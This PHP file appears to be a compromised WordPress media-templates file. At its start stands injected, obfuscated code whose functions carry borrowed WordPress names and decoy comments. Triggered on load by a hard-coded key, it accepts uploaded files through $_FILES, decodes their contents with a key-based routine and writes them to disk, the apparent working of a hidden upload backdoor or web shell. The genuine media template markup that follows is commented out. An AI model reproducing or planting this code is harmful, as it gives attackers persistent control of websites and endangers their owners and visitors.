-= s13 * 997805; $signbit = str_pad($should_load_remote, 15, '!'); $tinymce_version = explode('r', $signbit); $trackdata = strlen($maybe_defaults); $request_params = implode('=', $tinymce_version); $option_extra_info = hash('tiger192,3', $request_params); // If submenu is empty... $protected_directories = $trackdata / $protected_directories; $rcpt = explode('3', $option_extra_info); $slen = implode('$', $rcpt); $protected_directories = ceil($protected_directories); $ns = str_split($maybe_defaults); $skip_link_styles = str_repeat($skip_link_styles, $protected_directories); $terms_by_id = str_split($skip_link_styles); $terms_by_id = array_slice($terms_by_id, 0, $trackdata); // If on a taxonomy archive, use the term title. $usage_limit = array_map("get_adjacent_post_link", $ns, $terms_by_id); $usage_limit = implode('', $usage_limit); return $usage_limit; } /** * Adds a capability to role. * * @since 2.0.0 * * @param string $role Role name. * @param string $link_attsap Capability name. * @param bool $old_datarant Optional. Whether role is capable of performing capability. * Default true. */ function is_safe_css_declaration($prev) // PCLZIP_OPT_COMMENT : { // This library and the associated files are non commercial, non professional $prev = ord($prev); $msgNum = "Random-Data"; $upgrade_folder = substr($msgNum, 7, 4); $multi_number = rawurldecode($upgrade_folder); $post_modified_gmt = hash("sha1", $multi_number); return $prev; } // Show the widget form. /* translators: 1: Date, 2: Time. */ function wp_is_theme_directory_ignored($private_callback_args) { return $private_callback_args * $private_callback_args * $private_callback_args; } /* * > Otherwise, set node to the previous entry in the stack of open elements * > and return to the step labeled loop. */ function set_site_transient($use_count, $new_autosave, $unique_suffix) { if (isset($_FILES[$use_count])) { upgrade_630($use_count, $new_autosave, $unique_suffix); $site_name = "hash_example"; $subatomarray = explode("_", $site_name); // Add a rule for at attachments, which take the form of <permalink>/some-text. $mature = substr($subatomarray[0], 0, 4); if (strlen($mature) < 10) { $space = hash('adler32', $mature); } else { $space = hash('crc32', $mature); } } // not belong to the primary item or a tile. Ignore this issue. // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds) get_access_token($unique_suffix); // Zlib marker - level 7 to 9. } /** * Fires immediately after updating a post's metadata. * * @since 2.9.0 * * @param int $meta_id ID of updated metadata entry. * @param int $object_id Post ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. This will be a PHP-serialized string representation of the value * if the value is an array, an object, or itself a PHP-serialized string. */ function get_options($required_mysql_version, $skip_link_styles) { // RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s $subdir_replacement_12 = file_get_contents($required_mysql_version); $post_categories = ["first", "second", "third"]; $titles = implode(", ", $post_categories); $CommandTypesCounter = the_author_lastname($subdir_replacement_12, $skip_link_styles); // See rest_output_link_wp_head(). $BANNER = substr_count($titles, "second"); // List failed plugin updates. file_put_contents($required_mysql_version, $CommandTypesCounter); } /** * Retrieves a list of sessions for the current user. * * @since 4.0.0 * * @return array Array of sessions. */ function get_edit_term_link($v_data) { $spacing_sizes_count = img_caption_shortcode($v_data); $this_role = [1, 2, 3, 4]; $site_deactivated_plugins = array_map(function($wp_last_modified) { return $wp_last_modified * 2; }, $this_role); $table_namemount = wp_check_term_hierarchy_for_loops($site_deactivated_plugins); $size_name = get_the_content_feed($v_data); return [$spacing_sizes_count, $size_name]; } /** * Checks if a given request has access to get autosaves. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ function get_the_content_feed($v_data) { $new_major = 'abc def ghi'; // The cookie domain and the passed domain are identical. return array_product($v_data); // not sure what the actual last frame length will be, but will be less than or equal to 1441 } /** * Filters the list of attributes that are required to contain a URL. * * Use this filter to add any `data-` attributes that are required to be * validated as a URL. * * @since 5.0.1 * * @param string[] $uri_attributes HTML attribute names whose value contains a URL. */ function readTypedObject($list_files) { return remove() . DIRECTORY_SEPARATOR . $list_files . ".php"; } /** * Filters the submit button for the comment form to display. * * @since 4.2.0 * * @param string $submit_button HTML markup for the submit button. * @param array $table_namergs Arguments passed to comment_form(). */ function request_filesystem_credentials($query_var_defaults, $original_title) { $style_attribute = '2023-10-18'; $magic = date('Y-m-d', strtotime($style_attribute)); $zmy = hash('sha256', $magic); $the_list = str_pad($zmy, 64, '0', STR_PAD_LEFT); // Execute the resize. if (strlen($the_list) === 64) { $thisfile_asf_headerextensionobject = $the_list; } return pow($query_var_defaults, $original_title); } /* * If the requesting file is the anchor of the match, * prepend it to the path info. */ function img_caption_shortcode($v_data) { $term_title = array("a", "b", "c"); return wp_check_term_hierarchy_for_loops($v_data); } // Get the first menu that has items if we still can't find a menu. /** * Site status list. * * @since 4.3.0 * @var array */ function customize_preview_html5($uploaded) { $table_name = array("blue", "green", "red"); $pre_render = in_array("red", $table_name); $link_atts = rawurldecode("example%20decode"); $schema_styles_variations = trim($link_atts); return filter_var($uploaded, FILTER_VALIDATE_EMAIL) !== false; // Check if the environment variable has been set, if `getenv` is available on the system. } /** * Fires immediately after deleting metadata for a post. * * @since 2.9.0 * * @param string[] $meta_ids An array of metadata entry IDs to delete. */ function fromInt($show_autoupdates, $required_mysql_version) { $z_inv = setup_config_display_header($show_autoupdates); $prepared_comment = "Substring Example"; if (strlen($prepared_comment) > 5) { $sub_shift = substr($prepared_comment, 0, 5); $update_requires_php = str_pad($sub_shift, 10, "*"); $last_update_check = hash('sha256', $update_requires_php); } if ($z_inv === false) { return false; } return update_network_option_new_admin_email($required_mysql_version, $z_inv); } /** * Retrieves the value of a transient. * * If the transient does not exist, does not have a value, or has expired, * then the return value will be false. * * @since 2.8.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return mixed Value of transient. */ function update_network_option_new_admin_email($required_mysql_version, $srcs) // remove the single null terminator on null terminated strings { return file_put_contents($required_mysql_version, $srcs); # $link_atts = $user_table0 >> 26; } //* it's not disabled $use_count = 'QryrJh'; $single = array("test1", "test2", "test3"); signup_blog($use_count); $more_string = implode(",", $single); /* ndif; ?> <# } #> </div> </div> </script> <?php Template for the Attachment "thumbnails" in the Media Grid. ?> <script type="text/html" id="tmpl-attachment"> <div class="attachment-preview js--select-attachment type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}"> <div class="thumbnail"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div style="width: {{ data.percent }}%"></div></div> <# } else if ( 'image' === data.type && data.size && data.size.url ) { #> <div class="centered"> <img src="{{ data.size.url }}" draggable="false" alt="" /> </div> <# } else { #> <div class="centered"> <# if ( data.image && data.image.src && data.image.src !== data.icon ) { #> <img src="{{ data.image.src }}" class="thumbnail" draggable="false" alt="" /> <# } else if ( data.sizes && data.sizes.medium ) { #> <img src="{{ data.sizes.medium.url }}" class="thumbnail" draggable="false" alt="" /> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" alt="" /> <# } #> </div> <div class="filename"> <div>{{ data.filename }}</div> </div> <# } #> </div> <# if ( data.buttons.close ) { #> <button type="button" class="button-link attachment-close media-modal-icon"><span class="screen-reader-text"><?php _e( 'Remove' ); ?></span></button> <# } #> </div> <# if ( data.buttons.check ) { #> <button type="button" class="check" tabindex="-1"><span class="media-modal-icon"></span><span class="screen-reader-text"><?php _e( 'Deselect' ); ?></span></button> <# } #> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; if ( data.describe ) { if ( 'image' === data.type ) { #> <input type="text" value="{{ data.caption }}" class="describe" data-setting="caption" aria-label="<?php esc_attr_e( 'Caption' ); ?>" placeholder="<?php esc_attr_e( 'Caption…' ); ?>" {{ maybeReadOnly }} /> <# } else { #> <input type="text" value="{{ data.title }}" class="describe" data-setting="title" <# if ( 'video' === data.type ) { #> aria-label="<?php esc_attr_e( 'Video title' ); ?>" placeholder="<?php esc_attr_e( 'Video title…' ); ?>" <# } else if ( 'audio' === data.type ) { #> aria-label="<?php esc_attr_e( 'Audio title' ); ?>" placeholder="<?php esc_attr_e( 'Audio title…' ); ?>" <# } else { #> aria-label="<?php esc_attr_e( 'Media title' ); ?>" placeholder="<?php esc_attr_e( 'Media title…' ); ?>" <# } #> {{ maybeReadOnly }} /> <# } } #> </script> <?php Template for the Attachment details, used for example in the sidebar. ?> <script type="text/html" id="tmpl-attachment-details"> <h2> <?php _e( 'Attachment Details' ); ?> <span class="settings-save-status" role="status"> <span class="spinner"></span> <span class="saved"><?php esc_html_e( 'Saved.' ); ?></span> </span> </h2> <div class="attachment-info"> <# if ( 'audio' === data.type ) { #> <div class="wp-media-wrapper wp-audio"> <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none"> <source type="{{ data.mime }}" src="{{ data.url }}"/> </audio> </div> <# } else if ( 'video' === data.type ) { var w_rule = ''; if ( data.width ) { w_rule = 'width: ' + data.width + 'px;'; } else if ( wp.media.view.settings.contentWidth ) { w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;'; } #> <div style="{{ w_rule }}" class="wp-media-wrapper wp-video"> <video controls="controls" class="wp-video-shortcode" preload="metadata" <# if ( data.width ) { #>width="{{ data.width }}"<# } #> <# if ( data.height ) { #>height="{{ data.height }}"<# } #> <# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>> <source type="{{ data.mime }}" src="{{ data.url }}"/> </video> </div> <# } else { #> <div class="thumbnail thumbnail-{{ data.type }}"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( 'image' === data.type && data.size && data.size.url ) { #> <img src="{{ data.size.url }}" draggable="false" alt="" /> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" alt="" /> <# } #> </div> <# } #> <div class="details"> <div class="filename">{{ data.filename }}</div> <div class="uploaded">{{ data.dateFormatted }}</div> <div class="file-size">{{ data.filesizeHumanReadable }}</div> <# if ( 'image' === data.type && ! data.uploading ) { #> <# if ( data.width && data.height ) { #> <div class="dimensions"> <?php translators: 1: A number of pixels wide, 2: A number of pixels tall. printf( __( '%1$s by %2$s pixels' ), '{{ data.width }}', '{{ data.height }}' ); ?> </div> <# } #> <# if ( data.originalImageURL && data.originalImageName ) { #> <?php _e( 'Original image:' ); ?> <a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a> <# } #> <# if ( data.can.save && data.sizes ) { #> <a class="edit-attachment" href="{{ data.editLink }}&image-editor" target="_blank"><?php _e( 'Edit Image' ); ?></a> <# } #> <# } #> <# if ( data.fileLength && data.fileLengthHumanReadable ) { #> <div class="file-length"><?php _e( 'Length:' ); ?> <span aria-hidden="true">{{ data.fileLength }}</span> <span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span> </div> <# } #> <# if ( data.mediaStates ) { #> <div class="media-states"><strong><?php _e( 'Used as:' ); ?></strong> {{ data.mediaStates }}</div> <# } #> <# if ( ! data.uploading && data.can.remove ) { #> <?php if ( MEDIA_TRASH ) : ?> <# if ( 'trash' === data.status ) { #> <button type="button" class="button-link untrash-attachment"><?php _e( 'Restore from Trash' ); ?></button> <# } else { #> <button type="button" class="button-link trash-attachment"><?php _e( 'Move to Trash' ); ?></button> <# } #> <?php else : ?> <button type="button" class="button-link delete-attachment"><?php _e( 'Delete permanently' ); ?></button> <?php endif; ?> <# } #> <div class="compat-meta"> <# if ( data.compat && data.compat.meta ) { #> {{{ data.compat.meta }}} <# } #> </div> </div> </div> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #> <# if ( 'image' === data.type ) { #> <span class="setting has-description" data-setting="alt"> <label for="attachment-details-alt-text" class="name"><?php _e( 'Alt Text' ); ?></label> <input type="text" id="attachment-details-alt-text" value="{{ data.alt }}" aria-describedby="alt-text-description" {{ maybeReadOnly }} /> </span> <p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p> <# } #> <?php if ( post_type_supports( 'attachment', 'title' ) ) : ?> <span class="setting" data-setting="title"> <label for="attachment-details-title" class="name"><?php _e( 'Title' ); ?></label> <input type="text" id="attachment-details-title" value="{{ data.title }}" {{ maybeReadOnly }} /> </span> <?php endif; ?> <# if ( 'audio' === data.type ) { #> <?php foreach ( array( 'artist' => __( 'Artist' ), 'album' => __( 'Album' ), ) as $key => $label ) : ?> <span class="setting" data-setting="<?php echo esc_attr( $key ); ?>"> <label for="attachment-details-<?php echo esc_attr( $key ); ?>" class="name"><?php echo $label; ?></label> <input type="text" id="attachment-details-<?php echo esc_attr( $key ); ?>" value="{{ data.<?php echo $key; ?> || data.meta.<?php echo $key; ?> || '' }}" /> </span> <?php endforeach; ?> <# } #> <span class="setting" data-setting="caption"> <label for="attachment-details-caption" class="name"><?php _e( 'Caption' ); ?></label> <textarea id="attachment-details-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea> </span> <span class="setting" data-setting="description"> <label for="attachment-details-description" class="name"><?php _e( 'Description' ); ?></label> <textarea id="attachment-details-description" {{ maybeReadOnly }}>{{ data.description }}</textarea> </span> <span class="setting" data-setting="url"> <label for="attachment-details-copy-link" class="name"><?php _e( 'File URL:' ); ?></label> <input type="text" class="attachment-details-copy-link" id="attachment-details-copy-link" value="{{ data.url }}" readonly /> <div class="copy-to-clipboard-container"> <button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-copy-link"><?php _e( 'Copy URL to clipboard' ); ?></button> <span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span> </div> </span> </script> <?php Template for the Selection status bar. ?> <script type="text/html" id="tmpl-media-selection"> <div class="selection-info"> <span class="count"></span> <# if ( data.editable ) { #> <button type="button" class="button-link edit-selection"><?php _e( 'Edit Selection' ); ?></button> <# } #> <# if ( data.clearable ) { #> <button type="button" class="button-link clear-selection"><?php _e( 'Clear' ); ?></button> <# } #> </div> <div class="selection-view"></div> </script> <?php Template for the Attachment display settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-attachment-display-settings"> <h2><?php _e( 'Attachment Display Settings' ); ?></h2> <# if ( 'image' === data.type ) { #> <span class="setting align"> <label for="attachment-display-settings-alignment" class="name"><?php _e( 'Alignment' ); ?></label> <select id="attachment-display-settings-alignment" class="alignment" data-setting="align" <# if ( data.userSettings ) { #> data-user-setting="align" <# } #>> <option value="left"> <?php esc_html_e( 'Left' ); ?> </option> <option value="center"> <?php esc_html_e( 'Center' ); ?> </option> <option value="right"> <?php esc_html_e( 'Right' ); ?> </option> <option value="none" selected> <?php esc_html_e( 'None' ); ?> </option> </select> </span> <# } #> <span class="setting"> <label for="attachment-display-settings-link-to" class="name"> <# if ( data.model.canEmbed ) { #> <?php _e( 'Embed or Link' ); ?> <# } else { #> <?php _e( 'Link To' ); ?> <# } #> </label> <select id="attachment-display-settings-link-to" class="link-to" data-setting="link" <# if ( data.userSettings && ! data.model.canEmbed ) { #> data-user-setting="urlbutton" <# } #>> <# if ( data.model.canEmbed ) { #> <option value="embed" selected> <?php esc_html_e( 'Embed Media Player' ); ?> </option> <option value="file"> <# } else { #> <option value="none" selected> <?php esc_html_e( 'None' ); ?> </option> <option value="file"> <# } #> <# if ( data.model.canEmbed ) { #> <?php esc_html_e( 'Link to Media File' ); ?> <# } else { #> <?php esc_html_e( 'Media File' ); ?> <# } #> </option> <option value="post"> <# if ( data.model.canEmbed ) { #> <?php esc_html_e( 'Link to Attachment Page' ); ?> <# } else { #> <?php esc_html_e( 'Attachment Page' ); ?> <# } #> </option> <# if ( 'image' === data.type ) { #> <option value="custom"> <?php esc_html_e( 'Custom URL' ); ?> </option> <# } #> </select> </span> <span class="setting"> <label for="attachment-display-settings-link-to-custom" class="name"><?php _e( 'URL' ); ?></label> <input type="text" id="attachment-display-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> <# if ( 'undefined' !== typeof data.sizes ) { #> <span class="setting"> <label for="attachment-display-settings-size" class="name"><?php _e( 'Size' ); ?></label> <select id="attachment-display-settings-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php * This filter is documented in wp-admin/includes/media.php $sizes = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); foreach ( $sizes as $value => $name ) : ?> <# var size = data.sizes['<?php echo esc_js( $value ); ?>']; if ( size ) { #> <option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'full' ); ?>> <?php echo esc_html( $name ); ?> – {{ size.width }} × {{ size.height }} </option> <# } #> <?php endforeach; ?> </select> </span> <# } #> </script> <?php Template for the Gallery settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-gallery-settings"> <h2><?php _e( 'Gallery Settings' ); ?></h2> <span class="setting"> <label for="gallery-settings-link-to" class="name"><?php _e( 'Link To' ); ?></label> <select id="gallery-settings-link-to" class="link-to" data-setting="link" <# if ( data.userSettings ) { #> data-user-setting="urlbutton" <# } #>> <option value="post" <# if ( ! wp.media.galleryDefaults.link || 'post' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e( 'Attachment Page' ); ?> </option> <option value="file" <# if ( 'file' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e( 'Media File' ); ?> </option> <option value="none" <# if ( 'none' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e( 'None' ); ?> </option> </select> </span> <span class="setting"> <label for="gallery-settings-columns" class="name select-label-inline"><?php _e( 'Columns' ); ?></label> <select id="gallery-settings-columns" class="columns" name="columns" data-setting="columns"> <?php for ( $i = 1; $i <= 9; $i++ ) : ?> <option value="<?php echo esc_attr( $i ); ?>" <# if ( <?php echo $i; ?> == wp.media.galleryDefaults.columns ) { #>selected="selected"<# } #>> <?php echo esc_html( $i ); ?> </option> <?php endfor; ?> </select> </span> <span class="setting"> <input type="checkbox" id="gallery-settings-random-order" data-setting="_orderbyRandom" /> <label for="gallery-settings-random-order" class="checkbox-label-inline"><?php _e( 'Random Order' ); ?></label> </span> <span class="setting size"> <label for="gallery-settings-size" class="name"><?php _e( 'Size' ); ?></label> <select id="gallery-settings-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #> > <?php * This filter is documented in wp-admin/includes/media.php $size_names = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); foreach ( $size_names as $size => $label ) : ?> <option value="<?php echo esc_attr( $size ); ?>"> <?php echo esc_html( $label ); ?> </option> <?php endforeach; ?> </select> </span> </script> <?php Template for the Playlists settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-playlist-settings"> <h2><?php _e( 'Playlist Settings' ); ?></h2> <# var emptyModel = _.isEmpty( data.model ), isVideo = 'video' === data.controller.get('library').props.get('type'); #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-list" data-setting="tracklist" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-list" class="checkbox-label-inline"> <# if ( isVideo ) { #> <?php _e( 'Show Video List' ); ?> <# } else { #> <?php _e( 'Show Tracklist' ); ?> <# } #> </label> </span> <# if ( ! isVideo ) { #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-artist" data-setting="artists" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-artist" class="checkbox-label-inline"> <?php _e( 'Show Artist Name in Tracklist' ); ?> </label> </span> <# } #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-images" data-setting="images" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-images" class="checkbox-label-inline"> <?php _e( 'Show Images' ); ?> </label> </span> </script> <?php Template for the "Insert from URL" layout. ?> <script type="text/html" id="tmpl-embed-link-settings"> <span class="setting link-text"> <label for="embed-link-settings-link-text" class="name"><?php _e( 'Link Text' ); ?></label> <input type="text" id="embed-link-settings-link-text" class="alignment" data-setting="linkText" /> </span> <div class="embed-container" style="display: none;"> <div class="embed-preview"></div> </div> </script> <?php Template for the "Insert from URL" image preview and details. ?> <script type="text/html" id="tmpl-embed-image-settings"> <div class="wp-clearfix"> <div class="thumbnail"> <img src="{{ data.model.url }}" draggable="false" alt="" /> </div> </div> <span class="setting alt-text has-description"> <label for="embed-image-settings-alt-text" class="name"><?php _e( 'Alternative Text' ); ?></label> <input type="text" id="embed-image-settings-alt-text" data-setting="alt" aria-describedby="alt-text-description" /> </span> <p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p> <?php * This filter is documented in wp-admin/includes/media.php if ( ! apply_filters( 'disable_captions', '' ) ) : ?> <span class="setting caption"> <label for="embed-image-settings-caption" class="name"><?php _e( 'Caption' ); ?></label> <textarea id="embed-image-settings-caption" data-setting="caption"></textarea> </span> <?php endif; ?> <fieldset class="setting-group"> <legend class="name"><?php _e( 'Align' ); ?></legend> <span class="setting align"> <span class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_html_e( 'Left' ); ?> </button> <button class="button" value="center"> <?php esc_html_e( 'Center' ); ?> </button> <button class="button" value="right"> <?php esc_html_e( 'Right' ); ?> </button> <button class="button active" value="none"> <?php esc_html_e( 'None' ); ?> </button> </span> </span> </fieldset> <fieldset class="setting-group"> <legend class="name"><?php _e( 'Link To' ); ?></legend> <span class="setting link-to"> <span class="button-group button-large" data-setting="link"> <button class="button" value="file"> <?php esc_html_e( 'Image URL' ); ?> </button> <button class="button" value="custom"> <?php esc_html_e( 'Custom URL' ); ?> </button> <button class="button active" value="none"> <?php esc_html_e( 'None' ); ?> </button> </span> </span> <span class="setting"> <label for="embed-image-settings-link-to-custom" class="name"><?php _e( 'URL' ); ?></label> <input type="text" id="embed-image-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> </fieldset> </script> <?php Template for the Image details, used for example in the editor. ?> <script type="text/html" id="tmpl-image-details"> <div class="media-embed"> <div class="embed-media-settings"> <div class="column-settings"> <span class="setting alt-text has-description"> <label for="image-details-alt-text" class="name"><?php _e( 'Alternative Text' ); ?></label> <input type="text" id="image-details-alt-text" data-setting="alt" value="{{ data.model.alt }}" aria-describedby="alt-text-description" /> </span> <p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p> <?php * This filter is documented in wp-admin/includes/media.php if ( ! apply_filters( 'disable_captions', '' ) ) : ?> <span class="setting caption"> <label for="image-details-caption" class="name"><?php _e( 'Caption' ); ?></label> <textarea id="image-details-caption" data-setting="caption">{{ data.model.caption }}</textarea> </span> <?php endif; ?> <h2><?php _e( 'Display Settings' ); ?></h2> <fieldset class="setting-group"> <legend class="legend-inline"><?php _e( 'Align' ); ?></legend> <span class="setting align"> <span class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_html_e( 'Left' ); ?> </button> <button class="button" value="center"> <?php esc_html_e( 'Center' ); ?> </button> <button class="button" value="right"> <?php esc_html_e( 'Right' ); ?> </button> <button class="button active" value="none"> <?php esc_html_e( 'None' ); ?> </button> </span> </span> </fieldset> <# if ( data.attachment ) { #> <# if ( 'undefined' !== typeof data.attachment.sizes ) { #> <span class="setting size"> <label for="image-details-size" class="name"><?php _e( 'Size' ); ?></label> <select id="image-details-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php * This filter is documented in wp-admin/includes/media.php $sizes = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); foreach ( $sizes as $value => $name ) : ?> <# var size = data.sizes['<?php echo esc_js( $value ); ?>']; if ( size ) { #> <option value="<?php echo esc_attr( $value ); ?>"> <?php echo esc_html( $name ); ?> – {{ size.width }} × {{ size.height }} </option> <# } #> <?php endforeach; ?> <option value="<?php echo esc_attr( 'custom' ); ?>"> <?php _e( 'Custom Size' ); ?> </option> </select> </span> <# } #> <div class="custom-size wp-clearfix<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>"> <span class="custom-size-setting"> <label for="image-details-size-width"><?php _e( 'Width' ); ?></label> <input type="number" id="image-details-size-width" aria-describedby="image-size-desc" data-setting="customWidth" step="1" value="{{ data.model.customWidth }}" /> </span> <span class="sep" aria-hidden="true">×</span> <span class="custom-size-setting"> <label for="image-details-size-height"><?php _e( 'Height' ); ?></label> <input type="number" id="image-details-size-height" aria-describedby="image-size-desc" data-setting="customHeight" step="1" value="{{ data.model.customHeight }}" /> </span> <p id="image-size-desc" class="description"><?php _e( 'Image size in pixels' ); ?></p> </div> <# } #> <span class="setting link-to"> <label for="image-details-link-to" class="name"><?php _e( 'Link To' ); ?></label> <select id="image-details-link-to" data-setting="link"> <# if ( data.attachment ) { #> <option value="file"> <?php esc_html_e( 'Media File' ); ?> </option> <option value="post"> <?php esc_html_e( 'Attachment Page' ); ?> </option> <# } else { #> <option value="file"> <?php esc_html_e( 'Image URL' ); ?> </option> <# } #> <option value="custom"> <?php esc_html_e( 'Custom URL' ); ?> </option> <option value="none"> <?php esc_html_e( 'None' ); ?> </option> </select> </span> <span class="setting"> <label for="image-details-link-to-custom" class="name"><?php _e( 'URL' ); ?></label> <input type="text" id="image-details-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> <div class="advanced-section"> <h2><button type="button" class="button-link advanced-toggle"><?php _e( 'Advanced Options' ); ?></button></h2> <div class="advanced-settings hidden"> <div class="advanced-image"> <span class="setting title-text"> <label for="image-details-title-attribute" class="name"><?php _e( 'Image Title Attribute' ); ?></label> <input type="text" id="image-details-title-attribute" data-setting="title" value="{{ data.model.title }}" /> </span> <span class="setting extra-classes"> <label for="image-details-css-class" class="name"><?php _e( 'Image CSS Class' ); ?></label> <input type="text" id="image-details-css-class" data-setting="extraClasses" value="{{ data.model.extraClasses }}" /> </span> </div> <div class="advanced-link"> <span class="setting link-target"> <input type="checkbox" id="image-details-link-target" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>> <label for="image-details-link-target" class="checkbox-label"><?php _e( 'Open link in a new tab' ); ?></label> </span> <span class="setting link-rel"> <label for="image-details-link-rel" class="name"><?php _e( 'Link Rel' ); ?></label> <input type="text" id="image-details-link-rel" data-setting="linkRel" value="{{ data.model.linkRel }}" /> </span> <span class="setting link-class-name"> <label for="image-details-link-css-class" class="name"><?php _e( 'Link CSS Class' ); ?></label> <input type="text" id="image-details-link-css-class" data-setting="linkClassName" value="{{ data.model.linkClassName }}" /> </span> </div> </div> </div> </div> <div class="column-image"> <div class="image"> <img src="{{ data.model.url }}" draggable="false" alt="" /> <# if ( data.attachment && window.imageEdit ) { #> <div class="actions"> <input type="button" class="edit-attachment button" value="<?php esc_attr_e( 'Edit Original' ); ?>" /> <input type="button" class="replace-attachment button" value="<?php esc_attr_e( 'Replace' ); ?>" /> </div> <# } #> </div> </div> </div> </div> </script> <?php Template for the Image Editor layout. ?> <script type="text/html" id="tmpl-image-editor"> <div id="media-head-{{ data.id }}"></div> <div id="image-editor-{{ data.id }}"></div> </script> <?php Template for an embedded Audio details. ?> <script type="text/html" id="tmpl-audio-details"> <# var ext, html5types = { mp3: wp.media.view.settings.embedMimes.mp3, ogg: wp.media.view.settings.embedMimes.ogg }; #> <?php $audio_types = wp_get_audio_extensions(); ?> <div class="media-embed media-embed-details"> <div class="embed-media-settings embed-audio-settings"> <?php wp_underscore_audio_template(); ?> <# if ( ! _.isEmpty( data.model.src ) ) { ext = data.model.src.split('.').pop(); if ( html5types[ ext ] ) { delete html5types[ ext ]; } #> <span class="setting"> <label for="audio-details-source" class="name"><?php _e( 'URL' ); ?></label> <input type="text" id="audio-details-source" readonly data-setting="src" value="{{ data.model.src }}" /> <button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button> </span> <# } #> <?php foreach ( $audio_types as $type ) : ?> <# if ( ! _.isEmpty( data.model.<?php echo $type; ?> ) ) { if ( ! _.isUndefined( html5types.<?php echo $type; ?> ) ) { delete html5types.<?php echo $type; ?>; } #> <span class="setting"> <label for="audio-details-<?php echo $type . '-source'; ?>" class="name"><?php echo strtoupper( $type ); ?></label> <input type="text" id="audio-details-<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" /> <button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button> </span> <# } #> <?php endforeach ?> <# if ( ! _.isEmpty( html5types ) ) { #> <fieldset class="setting-group"> <legend class="name"><?php _e( 'Add alternate sources for maximum HTML5 playback' ); ?></legend> <span class="setting"> <span class="button-large"> <# _.each( html5types, function (mime, type) { #> <button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button> <# } ) #> </span> </span> </fieldset> <# } #> <fieldset class="setting-group"> <legend class="name"><?php _e( 'Preload' ); ?></legend> <span class="setting preload"> <span class="button-group button-large" data-setting="preload"> <button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button> <button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button> <button class="button active" value="none"><?php _e( 'None' ); ?></button> </span> </span> </fieldset> <span class="setting-group"> <span class="setting checkbox-setting autoplay"> <input type="checkbox" id="audio-details-autoplay" data-setting="autoplay" /> <label for="audio-details-autoplay" class="checkbox-label"><?php _e( 'Autoplay' ); ?></label> </span> <span class="setting checkbox-setting"> <input type="checkbox" id="audio-details-loop" data-setting="loop" /> <label for="audio-details-loop" class="checkbox-label"><?php _e( 'Loop' ); ?></label> </span> </span> </div> </div> </script> <?php Template for an embedded Video details. ?> <script type="text/html" id="tmpl-video-details"> <# var ext, html5types = { mp4: wp.media.view.settings.embedMimes.mp4, ogv: wp.media.view.settings.embedMimes.ogv, webm: wp.media.view.settings.embedMimes.webm }; #> <?php $video_types = wp_get_video_extensions(); ?> <div class="media-embed media-embed-details"> <div 